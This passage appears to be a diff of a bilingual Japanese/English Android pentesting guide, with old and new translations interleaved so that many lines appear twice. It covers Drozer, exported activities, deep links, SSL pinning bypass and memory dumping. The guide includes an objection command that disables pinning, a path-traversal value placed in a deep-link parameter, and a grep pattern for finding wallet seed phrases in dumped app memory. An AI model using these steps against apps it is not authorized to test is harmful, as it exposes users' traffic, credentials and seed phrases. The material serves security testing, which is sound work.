With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
### Secrets leaked
アプリケーションにはAPIキー、パスワード、隠しURL、サブドメインなどのsecretsが含まれている場合があり、これらを発見できることがあります。例えば [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) のようなツールを使用できます。
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -236,155 +236,155 @@ content-protocol.md
## Dynamic Analysis
> まず最初に、アプリをインストールでき、かつ環境（Burp CA cert、Drozer、Frida など）を整えられる環境が必要です。したがって、rootedデバイス（エミュレートされたものでも可）が強く推奨されます。
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
### Online Dynamic analysis
[https://appetize.io/](https://appetize.io/) に**無料アカウント**を作成できます。このプラットフォームではAPKを**アップロード**して**実行**できるため、APKの挙動を確認するのに便利です。
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
ウェブ上で**アプリケーションのログを見る**こともでき、**adb**で接続することも可能です。
You can even **see the logs of your application** in the web and connect through **adb**.
![](<../../images/image (831).png>)
ADB接続のおかげで、エミュレータ内で**Drozer**や**Frida**を使用できます。
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
### Local Dynamic Analysis
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio)（**x86** および **arm** デバイスを作成できます。また、[**こちら**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)によれば最新の x86 バージョンは遅い arm エミュレータを使わなくても ARM ライブラリをサポートします）。
- セットアップ方法は以下のページで学べます：
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
- Learn to set it up in this page:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition、アカウント作成が必要です。_潜在的なエラーを避けるために_ _**VirtualBox付き**のバージョンを**ダウンロード**することを推奨します。_)
- [**Nox**](https://es.bignox.com)（無料ですが、FridaやDrozerはサポートしていません）。
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
> [!TIP]
> 新しいエミュレータを作成する際、画面が大きいほどエミュレータは遅くなることを覚えておいてください。可能であれば小さい画面を選んでください。
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
GenymotionにGoogleサービス（AppStoreなど）をインストールするには、以下画像の赤で示したボタンをクリックする必要があります：
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
![](<../../images/image (277).png>)
また、**GenymotionのAndroid VMの設定**で**Bridge Network mode**を選択できる点に注意してください（これは、ツールを持つ別のVMからAndroid VMに接続する場合に有用です）。
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
#### Use a physical device
デバッグオプションを有効にする必要があり、可能であれば**root**しておくと良いでしょう：
You need to activate the **debugging** options and it will be cool if you can **root** it:
1. **Settings**.
2. (Android 8.0以降) **System**を選択。
3. **About phone**を選択。
4. **Build number**を7回押す。
5. 戻ると**Developer options**が表示されます。
2. (FromAndroid 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> アプリをインストールしたら、まずそれを実行して何をするのか、どのように動作するのかを調査し、慣れてください。\
> 初期のdynamic analysisは MobSF dynamic analysis + pidcat を使って行うことを推奨します。こうすることで、アプリがどのように動作するかを学びつつ、後で確認できる多くの興味深いデータを MobSF がキャプチャします。
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
### Unintended Data Leakage
**Logging**
開発者は**デバッグ情報**を公開しないよう注意する必要があります。これは機密データのleakにつながる可能性があります。アプリケーションのログを監視して機密情報を特定・保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat) や `adb logcat` の使用が推奨されます。**Pidcat**は使いやすさと可読性の面で好まれます。
開発者は**debugging information**を公開しないよう注意すべきです。これは機密データのleakにつながる可能性があります。アプリケーションログを監視して機密情報を特定・保護するために [**pidcat**](https://github.com/JakeWharton/pidcat) や `adb logcat` を使うことを推奨します。**Pidcat**は使いやすさと可読性の面で好まれます。
> [!WARNING]
> Android 4.0以降のバージョンでは、**アプリは自分自身のログにしかアクセスできません**。したがってアプリは他のアプリのログにはアクセスできません。\
> それでも、機密情報をログに出力しないことが推奨されます。
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
> Anyway, it's still recommended to **not log sensitive information**.
**Copy/Paste Buffer Caching**
Androidの**クリップボードベースの**フレームワークはアプリ間でのコピー＆ペースト機能を提供しますが、**他のアプリ**がクリップボードにアクセスできるため、機密データが公開されるリスクがあります。クレジットカード情報のような機密箇所については、コピー／ペースト機能を無効にすることが重要です。
Androidの**clipboard-based**フレームワークはアプリ間のコピー＆ペーストを可能にしますが、**他のアプリ**がクリップボードにアクセスできるため、機密データが露出するリスクがあります。クレジットカード情報などの機密セクションではコピー／ペースト機能を無効にすることが重要です。
**Crash Logs**
アプリが**クラッシュ**してログを保存する場合、これらのログは特にアプリがリバースできない場合に攻撃者に役立つことがあります。このリスクを緩和するため、クラッシュ時にログを記録しないようにし、もしログをネットワーク経由で送信する必要がある場合は必ずSSLチャネルで送信してください。
アプリが**クラッシュ**してログを保存する場合、これらのログはリバースが困難な場合でも攻撃者に手がかりを与えることがあります。このリスクを軽減するため、クラッシュ時に不要なログを残さない、またはログをネットワーク送信する場合はSSL経由で送るようにしてください。
pentesterとして、**これらのログを確認してみてください**。
ペンテスターとして、**これらのログを確認することを試みてください**。
**Analytics Data Sent To 3rd Parties**
多くのアプリは Google Adsense のようなサービスを統合しており、開発者の実装ミスにより機密データを第三者に送信してしまうことがあります。潜在的なデータ漏洩を特定するには、アプリケーションのトラフィックをインターセプトして第三者に送られている機密情報がないか確認することが推奨されます。
多くのアプリは Google Adsense のようなサービスを統合しており、開発者の誤実装により機密データが誤ってthird-partyにleakすることがあります。潜在的なデータ漏洩を特定するには、アプリのトラフィックをインターセプトして、サードパーティに送信される機密情報がないか確認することを勧めます。
### SQLite DBs
ほとんどのアプリケーションは情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は作成された**データベース**、**テーブル名**や**カラム名**、および保存されている全ての**データ**を確認してください。ここで機密情報を見つけることがあり、それは脆弱性になります。\
データベースは通常 `/data/data/the.package.name/databases` にあります（例：`/data/data/com.mwr.example.sieve/databases`）。
ほとんどのアプリは情報を保存するために**internal SQLite databases**を使用します。ペンテスト中は作成された**databases**、**tables**や**columns**の名前、保存されている**data**を確認してください。機密情報が見つかる可能性があります（これがvulnerabilityとなります）。\
データベースは通常 `/data/data/the.package.name/databases` に存在します（例: `/data/data/com.mwr.example.sieve/databases`）。
データベースが機密情報を保存していて**encrypted**されていても、もしアプリケーション内で**password**を見つけられるなら、それは依然として**vulnerability**です。
データベースが機密情報を保存していて**encrypted**されていても、アプリ内でその**password**を**find**できる場合は、依然として**vulnerability**です。
`.tables` を使ってテーブルを列挙し、`.schema <table_name>` を使ってテーブルのカラムを列挙してください。
テーブルの一覧は `.tables`、各テーブルのカラムは `.schema <table_name>` で列挙します。
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** はAndroidアプリの役割を引き受け、他のアプリとやり取りすることを可能にします。インストールされたアプリができることは何でも行うことができ、AndroidのInter-Process Communication (IPC) メカニズムを利用し、基盤となるOSと相互作用できます。.\
Drozerは、exported activities、exported services、Content Providersを**exploit**するのに有用なツールです。これは以下のセクションで学びます。
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
また、Activityのコードは**`onCreate`**メソッドから始まることを覚えておいてください。
Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass**
Activityがexportedになっている場合、外部アプリからその画面を呼び出すことができます。したがって、**sensitive information**を含むActivityが**exported**されている場合、認証メカニズムを**bypass**してそれにアクセスできてしまう可能性があります。
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
adbからexported activityを起動することもできます：
You can also start an exported activity from adb:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
**注意**: MobSF は activity の `android:launchMode` に _**singleTask/singleInstance**_ を使用していることを悪意あるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) によると、これは古いバージョン（API versions < 21）のみ危険なようです。
> [!TIP]
> authorisation bypass が常に脆弱性であるとは限りません。バイパスの動作や公開される情報によって判断されます。
> 認可 bypass が必ずしも脆弱性になるとは限らない点に注意してください。bypass の仕組みや露出する情報によって判断されます。
**Sensitive information leakage**
**機密情報の leak**
**Activities can also return results**. エクスポートされ保護されていない activity が **`setResult`** メソッドを呼び出して **機密情報を返す** 場合、sensitive information leakage が発生します。
**Activities は結果を返すこともあります**。exported かつ保護されていない activity が **`setResult`** メソッドを呼び出し **機密情報を返している** のを見つけた場合、機密情報の leak が発生します。
#### Tapjacking
Tapjacking が防止されていない場合、エクスポートされた activity を悪用して **ユーザに予期しない操作を行わせる** ことができます。詳細は[**what is Tapjacking follow the link**](#tapjacking)。
Tapjacking が防止されていない場合、exported activity を悪用して **user に予期しない操作を実行させる** ことができます。詳細は [**Tapjacking とは（リンク参照）**](#tapjacking) を参照してください。
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers は基本的にデータを共有するために使われます。アプリに利用可能な content providers がある場合、そこから**機密情報を抽出**できる可能性があります。脆弱である可能性があるため、可能な **SQL injections** や **Path Traversals** のテストも重要です。
[**Content Provider を再確認したい場合はこちらを読んでください。**](android-applications-basics.md#content-provider)\
Content providers は基本的にデータを**共有**するために使用されます。アプリに利用可能な content providers があれば、そこから**機密データを抽出**できる可能性があります。脆弱であることがあるため、**SQL injections** や **Path Traversals** のテストを行うことも重要です。
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Service の処理は `onStartCommand` メソッドで開始されることを覚えておいてください。
[**Service を再確認したい場合はこちらを読んでください。**](android-applications-basics.md#services)\
Service の処理は `onStartCommand` メソッドで開始されることを忘れないでください。
Service は基本的に**データを受け取り**、それを**処理**し、（場合によっては）**レスポンスを返す**ものです。したがって、アプリが何らかの services をエクスポートしている場合は、その動作を理解するために**コードを確認**し、機密情報の抽出や認証回避などを目的に**動的にテスト**するべきです。\
Service は基本的にデータを**受け取り**、**処理**し、（する場合には）レスポンスを**返す**ものです。したがって、アプリがいくつかのサービスを export している場合は、何をしているのかを理解するために**コード**を**確認**し、機密情報の抽出や認証の bypass などを目的に**動的に**テストするべきです。\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Broadcast Receiver の処理は `onReceive` メソッドで開始されることを覚えておいてください。
[**Broadcast Receiver を再確認したい場合はこちらを読んでください。**](android-applications-basics.md#broadcast-receivers)\
Broadcast Receiver の処理は `onReceive` メソッドで開始されることを忘れないでください。
Broadcast receiver は特定の種類のメッセージを待ち受けます。受信したメッセージの処理方法によっては脆弱になる可能性があります。\
Broadcast receiver は特定の種類のメッセージを待機します。受け取ったメッセージの処理方法によっては脆弱になる可能性があります。\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
deep links は手動で探すこともできます。MobSF のようなツールや [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) のようなスクリプトを使ってください。\
宣言された **scheme** は **adb** や **browser** を使って **open** できます:
宣言された **scheme** は **adb** や **browser** を使って **open** できます：
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_注意：**パッケージ名を省略すると**、モバイルはそのリンクを開くアプリを自動的に起動します._
_**package name を省略**すると、モバイルはそのリンクを開くべきアプリを自動的に呼び出します._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
@ -393,56 +393,55 @@ _注意：**パッケージ名を省略すると**、モバイルはそのリン
```
**実行されるコード**
アプリ内で実行される**コードを特定するために**、deeplink によって呼び出される activity に移動し、関数 **`onNewIntent`** を検索してください。
アプリで**実行されるコード**を見つけるには、deeplink によって呼び出される activity に移動し、関数 **`onNewIntent`** を検索してください。
![](<../../images/image (436) (1) (1) (1).png>)
**機密情報**
deep link を見つけたら、毎回**URLパラメータ経由でパスワードなどの機密データを受け取っていないか**確認してください。そうしないと、他のアプリが**deep link を偽装してそのデータを盗む**可能性があります！
deep link を見つけたら毎回、**URL パラメータ経由でパスワードのような機密データを受け取っていないか**を確認してください。そうでないと、他のアプリがその deep link を **impersonate してデータを盗む**可能性があります！
**Parameters in path**
URL のパス内でパラメータを使用している deep link がないか**必ず確認してください**。例えば `https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパストラバーサルを強制できる可能性があります。\
アプリ内で正しいエンドポイントを見つけられれば、パスの一部がドメイン名として使われている場合の **Open Redirect**、CSRF トークンなしでユーザ詳細を変更できる場合の **account takeover**（脆弱なエンドポイントが適切なメソッドを使っている場合）など、さまざまな脆弱性を引き起こせます。詳細は [こちら](http://dphoeniixx.com/2020/12/13-2/) を参照してください。
パス内のパラメータ
You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
[interesting bug bounty report](https://hackerone.com/reports/855618)（リンクに関する報告、_/.well-known/assetlinks.json_）。
リンク（_/.well-known/assetlinks.json_）に関する[興味深い bug bounty レポート](https://hackerone.com/reports/855618)。
### トランスポート層の検査と検証の失敗
### Transport Layer Inspection and Verification Failures
- **Certificates are not always inspected properly** by Android applications. 多くのアプリケーションは警告を無視して自己署名証明書を受け入れたり、場合によっては HTTP 接続に戻したりすることがよくあります。
- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure な cipher suite を使用していることがあります。この脆弱性は接続を man-in-the-middle (MITM) 攻撃に対して脆弱にし、攻撃者がデータを復号できるようにします。
- **Leakage of private information** は、アプリが一部の認証を安全なチャネルで行いながら、その他のやり取りで非暗号化チャネルを使う場合に発生するリスクです。この方法では、セッション cookie やユーザ情報などの機密データが悪意のある第三者に傍受される可能性から保護されません。
- **Certificates are not always inspected properly** by Android applications. 多くのアプリは警告を見落とし、自己署名証明書を受け入れたり、場合によっては HTTP 接続にフォールバックすることがあります。
- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure な cipher suites を使用していることがあります。この脆弱性により接続は man-in-the-middle (MITM) 攻撃に対して脆弱になり、攻撃者がデータを復号できる可能性があります。
- **Leakage of private information** は、アプリがセキュアなチャネルで認証を行った後に他のトランザクションで非セキュアなチャネルを使って通信する場合にリスクとなります。この手法では、セッションクッキーやユーザー情報などの機密データが悪意ある第三者によって傍受されるおそれがあります。
#### 証明書検証
#### Certificate Verification
ここでは **certificate verification** に焦点を当てます。サーバーの証明書の整合性を検証することはセキュリティ強化のために不可欠です。不適切な TLS 設定や暗号化されていないチャネルでの機密データ送信は重大なリスクを招くため、サーバー証明書の検証と脆弱性への対応手順については [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。
ここでは **certificate verification** に焦点を当てます。サーバー証明書の整合性を検証することはセキュリティ向上のために必須です。これは、不適切な TLS 構成や暗号化されていないチャネルでの機密データ送信が重大なリスクを引き起こすためです。サーバー証明書の検証手順や脆弱性への対処方法の詳細は、[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。
#### SSL Pinning
SSL Pinning は、アプリがサーバーの証明書をアプリ内に格納された既知のコピーと照合するセキュリティ対策です。これは MITM 攻撃を防ぐために重要な手法であり、機密情報を扱うアプリケーションには SSL Pinning の実装が強く推奨されます。
SSL Pinning は、アプリがサーバー証明書をアプリ内に格納された既知のコピーと照合して検証するセキュリティ手法です。これは MITM 攻撃を防ぐために重要です。機密情報を扱うアプリケーションでは SSL Pinning の実装が強く推奨されます。
#### トラフィック検査
#### Traffic Inspection
HTTP トラフィックを検査するには、プロキシツールの証明書（例: Burp）を**インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックがプロキシで見えないことがあります。カスタム CA 証明書のインストール方法については [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。
HTTP トラフィックを検査するには、プロキシツールの証明書（例: Burp）を **インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックはプロキシ経由で見えないことがあります。カスタム CA 証明書のインストール方法は、[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。
API Level 24 以降をターゲットにするアプリケーションは、プロキシの CA 証明書を受け入れるように Network Security Config の変更が必要です。暗号化トラフィックを検査するためにこの手順は重要です。Network Security Config の変更方法については [**refer to this tutorial**](make-apk-accept-ca-certificate.md) を参照してください。
API Level 24 以上をターゲットにするアプリは、プロキシの CA 証明書を受け入れるために Network Security Config を変更する必要があります。暗号化トラフィックを検査するための Network Security Config の変更手順は、[**refer to this tutorial**](make-apk-accept-ca-certificate.md) を参照してください。
もし **Flutter** を使用している場合は、[**this page**](flutter.md) の指示に従ってください。単に証明書をストアに追加するだけでは動作しないことがあり、Flutter は独自の有効な CA リストを使用しているためです。
もし **Flutter** を使用している場合は、[**this page**](flutter.md) の指示に従う必要があります。単に証明書をストアに追加するだけでは機能しません。Flutter は独自の有効な CA リストを持っているためです。
#### Static detection of SSL/TLS pinning
ランタイムでのバイパスを試す前に、まず APK 内で pinning がどこに強制されているかを素早くマップしてください。静的解析で場所を特定することで、フックやパッチの計画が立てやすくなり、正しいコードパスに集中できます。
ランタイムでのバイパスを試みる前に、まず APK 内でどこに pinning が強制されているかを素早くマップしてください。静的検出は、フックやパッチの計画を立て、適切なコードパスに集中するのに役立ちます。
Tool: SSLPinDetect
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
- Reports exact file path, line number, and a code snippet for each match.
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
- APK を Smali にデコンパイル（apktool 経由）して、SSL/TLS pinning 実装のためにキュレートされた正規表現パターンをスキャンするオープンソースの静的解析ユーティリティ。
- 各マッチについて、正確なファイルパス、行番号、コードスニペットを報告します。
- OkHttp CertificatePinner、カスタム javax.net.ssl.X509TrustManager.checkServerTrusted、SSLContext.init with custom TrustManagers/KeyManagers、Network Security Config XML pins などの一般的なフレームワークやカスタムコードパスをカバーします。
Install
- Prereqs: Python >= 3.8, Java on PATH, apktool
- 前提条件: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
cd SSLPinDetect
@ -457,7 +456,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
パターンルールの例 (JSON)
signaturesを使用または拡張して、独自/カスタムpinningスタイルを検出します。独自のJSONを読み込んで、大規模にスキャンできます。
signatures を使用または拡張して proprietary/custom pinning styles を検出します。自分の JSON を読み込んで、大規模にスキャンできます。
```json
{
"OkHttp Certificate Pinning": [
@ -472,42 +472,42 @@ signaturesを使用または拡張して、独自/カスタムpinningスタイ
}
```
Notes and tips
- 大規模アプリの高速スキャンは multi-threading と memory-mapped I/O を利用；pre-compiled regex がオーバーヘッド／false positives を減らします。
- 大規模なアプリに対してはマルチスレッディングとメモリマップドI/Oで高速スキャンする；事前コンパイル済みのregexはオーバーヘッド／誤検知を減らす。
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- 次にトリアージすべき典型的な検出対象：
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- 一致した箇所を利用して、Frida hooks、static patches、または config reviews を dynamic testing の前に計画します。
- 一致した箇所を利用して、dynamic testing の前に Frida hooks、static patches、または設定レビューを計画する。
#### SSL Pinning のバイパス
#### SSL Pinningの回避
SSL Pinning が実装されている場合、HTTPS トラフィックを調査するためにそれをバイパスする必要があります。これにはいくつかの方法があります：
SSL Pinning が実装されている場合、HTTPSトラフィックを調査するためにそれを回避する必要がある。これにはいくつかの方法がある：
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). この方法の最大の利点は、SSL Pinning をバイパスするために root が不要なことですが、アプリを削除して新しいものを再インストールする必要があり、常に動作するとは限りません。
- **Frida**（下で説明）を使ってこの保護をバイパスすることもできます。Burp+Frida+Genymotion の使い方ガイドはこちら: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- [**objection**](frida-tutorial/objection-tutorial.md) を使って **自動的に SSL Pinning をバイパス** することもできます:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF dynamic analysis** を使って **自動的に SSL Pinning をバイパス** することも試せます（下で説明）
- まだキャプチャできていないトラフィックがあると思う場合は、iptables を使ってトラフィックを burp に転送してみてください。この記事を参照: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- 自動的に **apk** を修正して **SSLPinning** を **bypass** するために [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) を使う。 この方法の最大の利点は、SSLPinning を回避するのに root が不要なことだが、アプリを削除して再インストールする必要があり、常に動作するとは限らない。
- この保護を回避するために **Frida**（下で説明）を使うこともできる。Burp+Frida+Genymotion を使うガイドはこちら: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- [**objection**](frida-tutorial/objection-tutorial.md) を使って **自動的に SSL Pinning を回避** することも試せる**：** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF dynamic analysis**（下で説明）を使って **自動的に SSL Pinning を回避** することも試せる。
- それでも捕捉できていないトラフィックがあると思う場合は、iptables を使ってトラフィックを burp に転送することを試してみる。こちらのブログを読むと良い: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 一般的な Web 脆弱性の検索
#### 一般的なWeb脆弱性の探索
アプリケーション内の一般的な Web 脆弱性も検索することが重要です。これらの脆弱性の特定と緩和に関する詳細はこの要約の範囲外ですが、他の資料で広く扱われています。
アプリ内で一般的なWeb脆弱性を探すことも重要だ。これらの脆弱性の特定や緩和に関する詳細はこの要約の範囲を超えるが、他の資料で詳しく扱われている。
### Frida
[Frida](https://www.frida.re) は開発者、リバースエンジニア、セキュリティ研究者向けの dynamic instrumentation toolkit です。\
**実行中のアプリケーションにアクセスして、実行時にメソッドを hook し挙動を変えたり、値を変更・抽出したり、別のコードを実行したりできます...**\
Android アプリを pentest したいなら、Frida の使い方を知っておく必要があります。
[Frida](https://www.frida.re) は開発者、リバースエンジニア、セキュリティ研究者向けのダイナミックなインストルメンテーションツールキットだ。\
**実行中のアプリにアクセスして、ランタイムでメソッドにhookを仕込み、挙動や値を変更したり、値を抽出したり、別のコードを実行したりできる。**\
Androidアプリをpentestするなら Frida の使い方を知っておく必要がある。
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Frida 用の操作用 "GUI" 例: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection は Frida の自動化に便利です: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Awesome な Frida スクリプトはこちらにあります: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) に示されているように、linjector ツールを使って Frida をロードし、anti-debugging / anti-frida 機構を回避することを試みてください。（tool [linjector](https://github.com/erfur/linjector-rs)）
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -515,11 +515,11 @@ Android アプリを pentest したいなら、Frida の使い方を知ってお
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **メモリのダンプ - Fridump**
### **Dump Memory - Fridump**
アプリがパスワードや mnemonic のように格納すべきでない機密情報をメモリ内に保存していないか確認してください。
アプリがパスワードやニーモニックなど、本来メモリに保持すべきでない機密情報をメモリ内に保存していないか確認する。
[**Fridump3**](https://github.com/rootbsd/fridump3) を使うと、次のようにアプリのメモリをダンプできます：
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -528,63 +528,63 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
これはメモリを ./dump フォルダにダンプし、そこで次のように grep できます:
これにより ./dump フォルダにメモリがダンプされ、そこで次のように grep できます:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Keystore内の機密データ**
AndroidではKeystoreが機密データを保存する最適な場所ですが、十分な権限があれば**アクセス可能**です。アプリはここに**sensitive data in clear text**を保存する傾向があるため、pentestsはroot userとして確認するべきです。物理的にデバイスにアクセスできる者がこのデータを盗むことができる可能性があります。
AndroidではKeystoreは機密データを保存する最適な場所ですが、権限が十分あれば**アクセス可能**な場合があります。アプリはここに**機密データをプレーンテキストで保存する**傾向があるため、pentestsではrootユーザーとして確認する必要があります。物理的にデバイスにアクセスできる者がこのデータを盗む可能性があります。
アプリがKeystoreにデータを保存している場合でも、そのデータは暗号化されているべきです。
アプリがKeystoreにデータを保存している場合でも、データは暗号化されているべきです。
Keystore内のデータにアクセスするには、次のFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
